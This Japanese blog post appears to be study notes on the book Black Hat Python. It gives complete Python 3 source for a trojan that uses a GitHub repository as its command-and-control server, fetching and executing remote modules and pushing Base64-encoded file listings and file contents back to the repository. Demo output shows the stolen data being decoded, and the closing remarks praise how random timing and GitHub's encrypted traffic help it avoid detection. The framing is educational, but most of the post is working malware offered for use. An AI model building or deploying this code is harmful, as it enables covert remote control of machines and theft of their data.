Engineering Note

プログラミングなどの技術的なメモ

7. GitHubを通じた指令の送受信 (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)

本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。 

今回は、マルウェアの中でも歴史が古く、有名な「トロイの木馬」について学んでいきます。

 

 

マルウェアとは

マルウェアとは、「Malicious Software(悪意のあるソフトウェア)」を略したもので、ウイルス、ワームおよびトロイの木馬など、コンピュータに対して意図的に害を与えるソフトウェアを総称したものを言います。

なお、以下はIPA独立行政法人情報処理推進機構)が公表している2018年の情報セキュリティ10大脅威になります。

 

 

トロイの木馬とは

トロイの木馬(torojan horse)とは、かつてギリシア神話トロイア戦争で使われた装置で、これに似た動作をするマルウェアであることから、この呼び名が付けられました。

歴史的には1980年代半ばには出現が確認されていることから、インターネットの黎明期から存在するマルウェアとなります。

ウイルスとは違い、自己増殖はせず単体で活動をするプログラムで、主にバックドアを開いたり、C&C(Command & Control)サーバからの命令を待ち、情報収集やDDoS(Distributed Denial of Service)攻撃などを実行します。

今回はGitHubを使って、トロイの木馬の設定ファイルを読み込ませたり、収集したデータをアップロードしたりさせます。

 

GitHubとは

GitHubとは、ソフトウェア開発のプラットフォームと呼ばれるものであり、自分が作成したソースコードを簡単にGitHub上にホスティングしたり、また他の人が作成しているリポジトリのクローンを簡単に作成したり、またはプロジェクト管理の効率化として利用されているツールです。

アカウントは無料で作成でき、2019年1月からは無料ユーザでもプライベートのリポジトリが作成できるようになりました。

 

 

スクリプトの概要

今回作成するスクリプトは、github3というPython向けのGitHub APIライブラリを使用します。

 

 

リモートホストは、このAPIを実行してリポジトリから各トロイの木馬の設定ファイルを読み込み、実行した結果をリポジトリにプッシュしていきます。

GitHubとの通信はSSLで暗号化され、またプッシュしたデータはBase64エンコードします。

今回は、カレントディレクトリ上にあるファイルを確認する簡単なモジュールを作成していますが、キーロガースクリーンショットを作成するツールなど、その用途は多岐にわたります。

 

GitHubリポジトリを作成する

まずGitHub上にリポジトリを作成します。

GitHubにログインし、"New repository"から新規リポジトリを作成します。

リポジトリを作成したら、Gitクライアントのターミナルを起動し、以下のコマンドを実行します。

 

 > mkdir <リポジトリ名>
 > cd <リポジトリ名>
 > git init
 > mkdir modules
 > mkdir config
 > mkdir data
 > touch modules/.gitignore
 > touch config/.gitignore
 > touch data/.gitignore
 > git add .
 > git commit -m "Adding repo structure for trojan."
 > git remote add origin <リポジトリのURL>
 > git push origin master

 

再度GitHubにログインし、作成したディレクトリやファイルが追加されているか確認します。

 

モジュールの作成

まずは簡単にカレントディレクトリ上にあるファイルを確認するモジュールを作成します。

modulesディレクトリに以下の"dirlister.py"を追加します。

 

# dirlister.py
import os

def run(**args):
    print("[*] In dirlister modules.")
    files = os.listdir(".")

    return str(files)

 

トロイの木馬の設定

上記で作成したモジュールの一覧をJSON形式のファイルとして作成します。

configディレクトリに以下の"module_list.json"を作成します。

 

# module_list.json
[
  {"module": "dirlister"}
]

 

GitHubから指令を受信するトロイの木馬の作成

以下がリモートホストで実行するスクリプトになります。

 

# git_trojan.py
import json
import base64
import sys
import time
import imp
import random
import threading
import queue
import os
from github3 import login

trojan_id = "test"

trojan_config = "module_list.json"
data_path = 'data/{}/'.format(trojan_id)
trojan_modules = []
configured = False
task_queue = queue.Queue()

class GitImporter:
    def __init__(self):
        self.module_code = None

    def find_module(self,fullname,path=None):
        if configured:
            print("[*] Attempting to retrieve {}".format(fullname))
            new_library = get_file_contents("modules/{}".format(fullname))

            if new_library is not None:
                self.module_code = new_library
                return self

        return None

    def load_module(self,name):
        module = imp.new_module(name)
        exec(self.module_code, module.__dict__)
        sys.modules[name] = module

        return module

def connect_to_github():
    gh = login(username='username', password='password')
    repo = gh.repository('username', 'repository_name')
    branch = repo.branch('master')

    return gh, repo, branch

def get_file_contents(filepath):
    gh, repo, branch = connect_to_github()
    if gh and repo and branch:
        hash_list = branch.commit.commit.tree.to_tree().recurse()

        for hash in hash_list.tree:
            if filepath in hash.path:
                print("[*] Found file {}".format(filepath))
                file_contents_b64 = repo.blob(hash.sha).content
                file_contents = base64.b64decode(file_contents_b64).decode('utf-8')
                return file_contents

    return None

def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config = json.loads(config_json)
    configured = True

    for task in config:
        module = task['module']
        if module not in sys.modules:
            exec('import {}'.format(module))

    return config

def store_module_result(data):
    gh, repo, branch = connect_to_github()
    remote_path = "data/{}/{}.data".format(trojan_id, random.randint(1000, 100000))
    repo.create_file(remote_path, "Commit message", base64.b64encode(data.encode()))
    return

def module_runner(module):
    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    store_module_result(result)

    return

sys.meta_path = [GitImporter()]

while True:
    if task_queue.empty():
        config = get_trojan_config()
        for task in config:
            t = threading.Thread(target=module_runner,args=(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    #time.sleep(random.randint(1000,10000))
    time.sleep(180)

 

21行目のGitImporterクラスは、もしインポートするモジュールがsys.modulesになかった場合に、呼び出されるもので、92行目のsys.meta_pathに登録することで機能します。

43行目のconnect_to_github()は、GitHubに接続する処理を行い、Gitの認証情報、カレントリポジトリおよびブランチの各オブジェクトを返します。

50行目のget_file_contents()は、GitHub上にあるファイルを確認し、必要なファイル(モジュール)の情報を返します。

64行目のget_trojan_config()は、JSON形式で記述したモジュール一覧を取得します。もし、モジュールがsys.modulesになかった場合は、前述のGitImporterクラスを呼び出し、sys.modulesに追加します。

77行目のstore_module_result()は、実行した関数の結果をGitHubにプッシュします。なお、データはBase64エンコードします。

83行目のmodule_runner()は、上記のモジュールの実行やGitHubに結果を保存するメインの関数になります。

 

動作確認

それでは上記で作成したスクリプトを実行します。

リモートホストから上記で作成したスクリプトを起動します。

今回はテストのため、アップデート間隔を3分にしてあります。

 

 > python git_trojan.py
 [*] Found file module_list.json
 [*] Attempting to retrieve dirlister
 [*] Found file modules/dirlister
 [*] In dirlister modules.

 

dirlisterモジュールをインポートし、実行しています。

ローカルホストで早速プルして、dataディレクトリに作成されたファイルを確認してみます。

 

 > type 31786.data
 WydnaXRfdHJvamFuLnB5JywgJ3Rlc3QudHh0J10=
 > certutil -decode 31786.data listdir.txt
 入力長 = 40
 出力長 = 29
 CertUtil: -decode コマンドは正常に完了しました。
 > type listdir.txt
 ['git_trojan.py', 'test.txt']

 

PowerShellからtypeコマンドでファイルがBase64エンコードされているのを確認した後に、certutilコマンドでデコードした結果を確認しています。

 

上記の"test.txt"というファイルが気になるので、ファイルの中身を確認するためのモジュールを追加してみます。

 

# save_file.py
def run(**args):
    with open('test.txt', 'r') as f:
        results = f.read()

    return results

 

また、configディレクトリの"module_list.json"にも追加をし、プッシュします。

リモート側のスリープ時間が経過したら、以下のログが出力され、先ほど作成したモジュールをインポートしているのが確認できます。

 

 ...
 [*] Found file module_list.json
 [*] Attempting to retrieve save_file
 [*] Found file modules/save_file
 [*] In dirlister modules.

 

再度ローカルホスト側でプルし、作成されたファイルを確認してみます。

 

 > type 94739.data
 dGhpcyBpcyBhIHRlc3QuCnRoaXMgaXMgYSB0ZXN0Lgp0aGlzIGlzIGEgdGVzdC4=
 > certutil -decode 94739.data test.txt
 入力長 = 64
 出力長 = 47
 CertUtil: -decode コマンドは正常に完了しました。
 > type test.txt
 this is a test.
 this is a test.
 this is a test.

 

問題なくファイルの中身が保存されているのが確認できました。

 

最後に

今回はGitHubを使ったトロイの木馬の作成方法について学びました。

書籍にも書かれていますが、GitHubの通信をブロックしている企業はほとんどいないと思いますし、またリポジトリとのやり取りはSSLで暗号化されています。

実行においても、ランダムな時間間隔を置き、不規則性を設けることで、パターン解析による検知を避けることができます。

また今回のようなidを設けることで、リモートホストの一括管理も可能になるので、とても効率的に操作が可能になると思います。

 

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考